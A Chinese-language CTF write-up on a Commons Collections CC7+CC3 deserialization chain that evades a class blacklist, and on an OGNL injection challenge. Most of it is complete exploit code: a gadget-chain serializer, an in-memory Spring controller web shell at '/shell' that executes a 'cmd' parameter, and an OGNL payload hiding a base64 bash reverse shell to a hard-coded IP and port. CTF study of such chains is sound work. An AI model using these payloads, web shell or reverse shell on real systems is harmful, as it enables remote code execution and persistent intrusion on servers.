SICTF CC7+CC3

重装了一次电脑这次拖的时间有点久了,在比赛完一天后应该就要写出来的

do you konw cc

DefaultedMap

DefaultedMap在功能上和lazymap差不多吧

在DefaultedMap的get方法中

1
2
3
4
5
6
7
public Object get(Object key) {
if (!this.map.containsKey(key)) {
return this.value instanceof Transformer ? ((Transformer)this.value).transform(key) : this.value;
} else {
return this.map.get(key);
}
}

发现这当value是transformer的实例的时候,会调用value的transform方法,这里的key是传过来的key,条件是this.map没有这个key,来看看构造方法,这里就用一个就行了

1
2
3
4
5
6
7
public static Map decorate(Map map, Transformer factory) {
if (factory == null) {
throw new IllegalArgumentException("Transformer must not be null");
} else {
return new DefaultedMap(map, factory);
}
}

发现value是我们可控的,所以找到我们能用的transformer就行

重点是怎么调用get方法了

InstantiateTransformer

InstantiateTransformer就是transformer的实例化类并且在c3链中有,这里就再回顾一遍它的构造方法有一个是

1
2
3
4
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

这里para其就是就是args的类型,而arges就是它的实例,看transformer

1
2
3
4
5
6
7
8
9
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
}

发现就是实例化input类,这里构造器的种类和实例化参数都是我们可控的,之前c3链用到了TrAXFilter,这个类有个一个构造方法,会调用TransformerImpl的newtransformer从而加载类

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static final String[] blacklist = {"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.map.TransformedMap",
"java.lang.annotation",
"org.apache.commons.collections.map.LazyMap",
"org.apache.commons.collections.keyvalue.TiedMapEntry",
"javax.management.",
"com.sun.rowset.JdbcRowSetImpl",
"org.apache.commons.collections.Transformer",
"org.springframework",
"com.rometools.rome.feed.impl",
"java.net.URL",
"java.lang.reflect.Proxy",
"com.fasterxml.jackson", "com.sun.jndi",
"java.security",
"com.sun.org.apache.xpath.internal.objects.XString"};

发现lazp,tiedmap都被禁用了,所以用了defaultedmap,chain和invoke也被禁用了,所以能用的就instantiate了

由于环境不出网,所以只有打内存马了,但是这里又是2.6以上的

由于TiedMapEntry被禁用了c3和c6中间链就断了,所以想办法从c7链找办法

hashtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.do_you_know_cc;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;


public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl impl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
pool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};
setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

Hashtable hashtable=new Hashtable();
HashMap map=new HashMap();
HashMap hashmap=new HashMap();
map.put(TrAXFilter.class,"baicany");
hashmap.put("baicany",TrAXFilter.class);
InstantiateTransformer transformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{impl});
DefaultedMap demap=(DefaultedMap) DefaultedMap.decorate(hashmap,"fuck");
hashtable.put(map,"baicany");
hashtable.put(demap,"baicany");
Field f = DefaultedMap.class.getDeclaredField("value");
f.setAccessible(true);
f.set(demap,transformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
// System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

成功弹出计算器,现在就是怎么写内存马了

内存马exp

参考:获取RequestMappingInfo

实例化RequestMappingInfo对象的⽅式已被弃⽤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EvilController extends AbstractTranslet {

public EvilController() throws Exception{
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = EvilController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller

// RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);

RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();


EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}

public EvilController(String test){

}

public void test() throws Exception{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getParameter("cmd");
if(command != null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){

}
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.example.do_you_know_cc;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;


public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl impl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.example.EvilController");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};

setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

Hashtable hashtable=new Hashtable();
HashMap map=new HashMap();
HashMap hashmap=new HashMap();
map.put(TrAXFilter.class,"baicany");
hashmap.put("baicany",TrAXFilter.class);
InstantiateTransformer transformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{impl});
DefaultedMap demap=(DefaultedMap) DefaultedMap.decorate(hashmap,"fuck");
hashtable.put(map,"baicany");
hashtable.put(demap,"baicany");
Field f = DefaultedMap.class.getDeclaredField("value");
f.setAccessible(true);
f.set(demap,transformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();

// ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(in);
// Object ob = (Object) ois.readObject();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}

就cc7+cc3用没被禁用的工厂类也行

只是先粗略的写一下,后面改进,毕竟我代码写的很垃圾,后面也会分析这条链子改进代码好看一点,之前欠的东西还没补完,先狠狠补一波前面的

pain

pain注入,发现2种解

1
@java.lang.\u0052untime@g\u0065tRuntime().\u0065xec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwMS40Mi41Mi4xMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')

unicode编码和直接读文件
(#a=new java.util.Scanner(new java.io.File(“/flag”)).next())